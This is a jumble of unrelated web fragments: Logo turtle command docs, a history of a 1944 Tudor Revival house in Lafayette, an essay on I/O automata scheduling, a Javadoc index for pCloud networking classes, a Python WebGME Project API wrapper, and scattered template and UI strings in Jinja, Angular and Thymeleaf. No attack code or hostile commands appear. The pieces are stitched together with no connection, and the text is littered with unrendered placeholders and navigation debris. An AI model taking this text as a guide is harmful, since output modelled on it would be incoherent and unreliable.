| PENDOWN? PENDOWNP |
returns 1 if turtle's pen is down, 0 if it is up |
| SHOWING? SHOWINGP |
returns 1 if turtle is showing, 0 if it is hiding |


| |
Built in 1944, the Sidney & Agnes Swennes residence is representative of the Tudor Revival style popular in the US during the 1920s and 1930s, reflected by its steeply pitched roof, prominent exterior chimney and gabled vestibules. This is the first home in Lafayette with a wide picture window facing west to capture the mountain views. Local contractors included Loyd & Phil Howe, William Brown, Lou Starkey, Floyd Williams, and William Yocum.
In the spring of 1945 Sidney Swennes (via Minnesota and Colorado Springs) purchased from Ralph Kemp the Highway Drug Store, then located at 101 Public Road. After a few years Swennes moved the business to 111 S. Public Road. He sold the business to Dewitt Sullivan in 1965, who sold the business to Dave & Vicki Trumbo in 1983. |
|


The I/O automata model assumes that the automata in a system are static. By static I mean that all automata exist in their initial states and before the first action is executed. This also means that outputs and inputs that are composed can be consolidated and treated as one action.
Real systems, on the other hand, are dynamic. Consider an operating system where processes are created, run, and then possibly exit. Processes can interact with one another but the exact nature of the interaction is dependent on time since the set of existing processes in dependent on time. For I/O automata, this means that we require the ability to create new automata, destroy existing automata, and change which outputs and inputs are composed. We use the term binding to refer to the act of dynamically associating an output with an input. We use the term configuration to refer to the actions of creating and destroying automata and binding and unbinding external actions.
The only requirement that the I/O automata model places on the scheduler is fairness. This is intentional as it reduces the number of assumptions that one needs to make about the environment. The scheduler is assumed to be omniscient, i.e., it knows all of the actions and can find an action with a true precondition. While implementing an omniscient scheduler is possible, it hinders the development of an efficient scheduler, i.e., one that avoids selecting actions whose precondition are false. Consequently, the decision was made that the user is responsible for telling the scheduler which actions to consider. The scheduler can implement different scheduling policies that influence the order in which actions are selected. Again, the only requirement is that the scheduler is fair.
The act of telling the scheduler to consider an action for selection and execution is called scheduling. If a user decides to schedule all actions all the time, then the scheduler degenerates into a brute-force omniscient scheduler. A better approach has the user test the precondition of all actions and schedules those that are true. The best approach has the user perform a dependency analysis to determine which actions could possibly enable other actions and then schedule the enabled actions. Notice that this optimization is not possible unless users schedule the actions. All of the examples in this document use the middle approach.


depolitics is active
on Wikipedia
on every site
off
George Washington
becomes
sflf6ctg
John Adams
becomes
70wx0y5q
update database
options


No partner selected
Please select the partner form the left parter list
{# Copyright (C) 2013 TopCoder Inc., All Rights Reserved. #} {# This template is the base for both partners/list and partner_tags/list. #} {% extends "base.html" %} {% block scripts %} {% endblock %} {% block bodyid %} id="partnerPage"{% endblock %} {% block content %}
{% endblock %} {% block modal %}Warning: you are about to delete all information about this partner(include the user in hub). Proceed?
Warning: you are about to delete the selected tag. Proceed?


We'll never share your email with anyone else.
우편번호 찾기
SIGN IN
ID must contain the following:
Password must contain the following:
A
lowercase
letter
A
capital (uppercase)
letter
A
number
Minimum
8 characters


This content gets hidden after JavaScript loads. Presumably, some script would then help make it visible again.


JavaScript is disabled on your browser.
Skip navigation links
Overview
Package
Class
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes
A
B
C
D
E
F
G
H
I
L
M
N
O
P
R
S
T
U
V
W
B
beginArray()
- Method in class com.pcloud.networking.protocol.
BytesReader
beginArray()
- Method in class com.pcloud.networking.protocol.
ForwardingProtocolReader
beginArray()
- Method in class com.pcloud.networking.protocol.
ForwardingProtocolResponseReader
beginArray()
- Method in interface com.pcloud.networking.protocol.
ProtocolReader
Begin reading an array from the source
beginObject()
- Method in class com.pcloud.networking.protocol.
BytesReader
beginObject()
- Method in class com.pcloud.networking.protocol.
ForwardingProtocolReader
beginObject()
- Method in class com.pcloud.networking.protocol.
ForwardingProtocolResponseReader
beginObject()
- Method in interface com.pcloud.networking.protocol.
ProtocolReader
Begin reading an object from the source
beginRequest()
- Method in class com.pcloud.networking.protocol.
BytesWriter
beginRequest()
- Method in class com.pcloud.networking.protocol.
ForwardingProtocolRequestWriter
beginRequest()
- Method in interface com.pcloud.networking.protocol.
ProtocolRequestWriter
Start a request
beginResponse()
- Method in class com.pcloud.networking.protocol.
BytesReader
beginResponse()
- Method in class com.pcloud.networking.protocol.
ForwardingProtocolResponseReader
beginResponse()
- Method in interface com.pcloud.networking.protocol.
ProtocolResponseReader
Begin reading a response from the data source
BITS_PER_BYTE
- Static variable in class com.pcloud.utils.
IOUtils
body()
- Method in class com.pcloud.networking.client.
Request
Returns the
RequestBody
of this
Request
body(RequestBody)
- Method in class com.pcloud.networking.client.
Request.Builder
Sets the
RequestBody
for the
Request
build()
- Method in class com.pcloud.networking.client.
Request.Builder
Build and returns a new
Request
with the parameters set via the
Request.Builder
build()
- Method in class com.pcloud.networking.client.
Response.Builder
Builds and returns the
Response
with all the parameters set via the
Response.Builder
build()
- Method in class com.pcloud.networking.serialization.
Transformer.Builder
Builds the
Transformer
object with all the custom
TypeAdapter
and
TypeAdapterFactory
objects added to the
Transformer.Builder
bytes()
- Method in class com.pcloud.networking.client.
ResponseData
Returns the data from the source as a byte array
BytesReader
- Class in
com.pcloud.networking.protocol
A reader for pCloud's binary data protocol
BytesReader(BufferedSource)
- Constructor for class com.pcloud.networking.protocol.
BytesReader
Create a
BytesReader
instance
byteStream()
- Method in class com.pcloud.networking.client.
ResponseData
Returns an InputStream to read the data from the source
byteString()
- Method in class com.pcloud.networking.client.
ResponseData
Reads and returns the content of the data as a ByteString object
BytesWriter
- Class in
com.pcloud.networking.protocol
Writes bytes into a sink
BytesWriter(BufferedSink)
- Constructor for class com.pcloud.networking.protocol.
BytesWriter
Create a
BytesReader
instance
A
B
C
D
E
F
G
H
I
L
M
N
O
P
R
S
T
U
V
W
Skip navigation links
Overview
Package
Class
Tree
Deprecated
Index
Help
Prev Letter
Next Letter
Frames
No Frames
All Classes


"""
For more details regarding inputs and output in form of complex dictionaries see the original source docs at:
%host%/docs/source/ProjectInterface.html
for example:
`https://editor.webgme.org/docs/source/ProjectInterface.html <https://editor.webgme.org/docs/source/ProjectInterface.html>`_
"""
[docs]class Project(object):
"""
Class for accessing and making changes in a project repository.
"""
def __init__(self, webgme):
self._webgme = webgme
self._CONSTANTS = None
def _send(self, payload):
payload['type'] = 'project'
self._webgme.send_request(payload)
return self._webgme.handle_response()
@property
def CONSTANTS(self):
"""
A dictionary with the `constants associated with the storage/project <https://github.com/webgme/webgme-engine/blob/master/src/common/storage/constants.js>`_.
"""
if self._CONSTANTS is None:
self._CONSTANTS = self._send({'name': 'CONSTANTS', 'args': []})
return self._CONSTANTS
[docs] def create_branch(self, branch_name, new_hash):
"""
Creates a new branch with head pointing to the provided commit hash.
:param branch_name: Name of branch to create.
:type branch_name: str
:param new_hash: New commit hash for branch head.
:type new_hash: str
:returns: Status about the branch update.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'createBranch', 'args': [branch_name, new_hash]})
[docs] def create_tag(self, tag_name, commit_hash):
"""
Creates a new tag pointing to the provided commit hash.
:param tag_name: Name of tag to create.
:type tag_name: str
:param commit_hash: Commit hash tag will point to.
:type commit_hash: str
:returns: Nothing is returned by the function.
:rtype: None
:raises JSError: The result of the execution.
"""
return self._send({'name': 'createTag', 'args': [tag_name, commit_hash]})
[docs] def delete_branch(self, branch_name, old_hash):
"""
Deletes the branch.
:param branch_name: Name of branch to create.
:type branch_name: str
:param old_hash: Previous commit hash for branch head.
:type old_hash: str
:returns: Status about the branch update.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'deleteBranch', 'args': [branch_name, old_hash]})
[docs] def delete_tag(self, tag_name):
"""
Deletes the given tag.
:param tag_name: Name of tag to delete.
:type tag_name: str
:returns: Nothing is returned by the function.
:rtype: None
:raises JSError: The result of the execution.
"""
return self._send({'name': 'deleteTag', 'args': [tag_name]})
[docs] def get_branch_hash(self, branch_name):
"""
Retrieves the commit hash for the head of the branch.
:param branch_name: Name of branch.
:type branch_name: str
:returns: The commit hash.
:rtype: str
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getBranchHash', 'args': [branch_name]})
[docs] def get_branches(self):
"""
Retrieves all branches and their current heads within the project.
:returns: An object with branch names as keys\
and their commit-hashes as values.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getBranches', 'args': []})
[docs] def get_commit_object(self, branch_name_or_commit_hash):
"""
Retrieves the commit-object at the provided branch or commit-hash.
:param branch_name_or_commit_hash: Name of branch or a commit-hash.
:type branch_name_or_commit_hash: str
:returns: The commit-object.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getCommitObject', 'args': [branch_name_or_commit_hash]})
[docs] def get_commits(self, before, number):
"""
Retrieves and array of the latest (sorted by timestamp) commits for the project.\
If timestamp is given it will get number of commits strictly before before.\
If commit hash is specified that commit will be included too.\

 N.B. due to slight time differences on different machines, ancestors may be returned before\
their descendants. Unless looking for 'headless' commits 'getHistory' is the preferred method.
:param before: Timestamp or commitHash to load history from.
:type before: int or float or str
:param number: Number of commits to load.
:type number: int or float
:returns: The commits that match the input, ordered\
by their time of insertion.
:rtype: list of dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getCommits', 'args': [before, number]})
[docs] def get_common_ancestor_commit(self, commit_a, commit_b):
"""
Retrieves the common ancestor of two commits. If no ancestor exists it will result in an error.
:param commit_a: Commit hash.
:type commit_a: str
:param commit_b: Commit hash.
:type commit_b: str
:returns: The commit hash of the common ancestor.
:rtype: str
:raises JSError: The result of the execution (will be non-null if e.g. the commits do not exist or have no common ancestor).
"""
return self._send({'name': 'getCommonAncestorCommit', 'args': [commit_a, commit_b]})
[docs] def get_history(self, start, number):
"""
Retrieves an array of commits starting from a branch(es) and/or commitHash(es).\

 The result is ordered by the rules (applied in order)\

 1. Descendants are always returned before their ancestors.\

 2. By their timestamp.
:param start: Branch name,\
commit hash or array of these.
:type start: str or str or list of str or list of str
:param number: Number of commits to load.
:type number: int or float
:returns: The commits that match the input ordered\
as explained.
:rtype: list of dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getHistory', 'args': [start, number]})
[docs] def get_project_info(self):
"""
Retrieves the metadata of the project.
:returns: An object with info about the project.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getProjectInfo', 'args': []})
[docs] def get_root_hash(self, branch_name_or_commit_hash):
"""
Retrieves the root hash at the provided branch or commit-hash.
:param branch_name_or_commit_hash: Name of branch or a commit-hash.
:type branch_name_or_commit_hash: str
:returns: The root hash.
:rtype: str
:raises JSError: The result of the execution.
"""
return self._send({'name': 'getRootHash', 'args': [branch_name_or_commit_hash]})
[docs] def get_user_id(self):
"""
Return the identity of the current user of this project.
:returns: the userId
:rtype: str
"""
return self._send({'name': 'getUserId', 'args': []})
[docs] def make_commit(self, branch_name, parents, root_hash, core_objects, msg):
"""
Makes a commit to data base. Based on the root hash and commit message a new\
{@link module:Storage.CommitObject} (with returned hash)\
is generated and insert together with the core objects to the database on the server.
:param branch_name: Name of branch to update (none if null).
:type branch_name: str
:param parents: Parent commit hashes.
:type parents: list of str
:param root_hash: Hash of root object.
:type root_hash: str
:param core_objects: Core objects associated with the commit.
:type core_objects: dict
:param msg: Commit message.
:type msg: str
:returns: Status about the commit and branch update.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'makeCommit', 'args': [branch_name, parents, root_hash, core_objects, msg]})
[docs] def set_branch_hash(self, branch_name, new_hash, old_hash):
"""
Updates the head of the branch.
:param branch_name: Name of branch to update.
:type branch_name: str
:param new_hash: New commit hash for branch head.
:type new_hash: str
:param old_hash: Current state of the branch head inside the database.
:type old_hash: str
:returns: Status about the branch update.
:rtype: dict
:raises JSError: The result of the execution.
"""
return self._send({'name': 'setBranchHash', 'args': [branch_name, new_hash, old_hash]})


Type to search Wikipedia
destroy
{{ results.term }}
{{ match.title }}
{{ match.description }}
No matches found.


Birdie Test
Select Database
Select Table
Select Variable
#
Count
Average Age
Only top 100 values are shown (sorted by Count)


{{:: 'pci_projects_project_training_jobs_list_message_1' | translate }} {{:: 'pci_projects_project_training_parter_cli_name' | translate }} job ls
{{:: 'pci_projects_project_training_parter_cli_name' | translate }} job ls


/
Invites Pending
[[#{desktop.invitees.removeSelected}]]
[[#{desktop.invitees.resendSelected}]]
Email
User Role
Delete
Re-Send
Email
User Role
Delete
Re-Send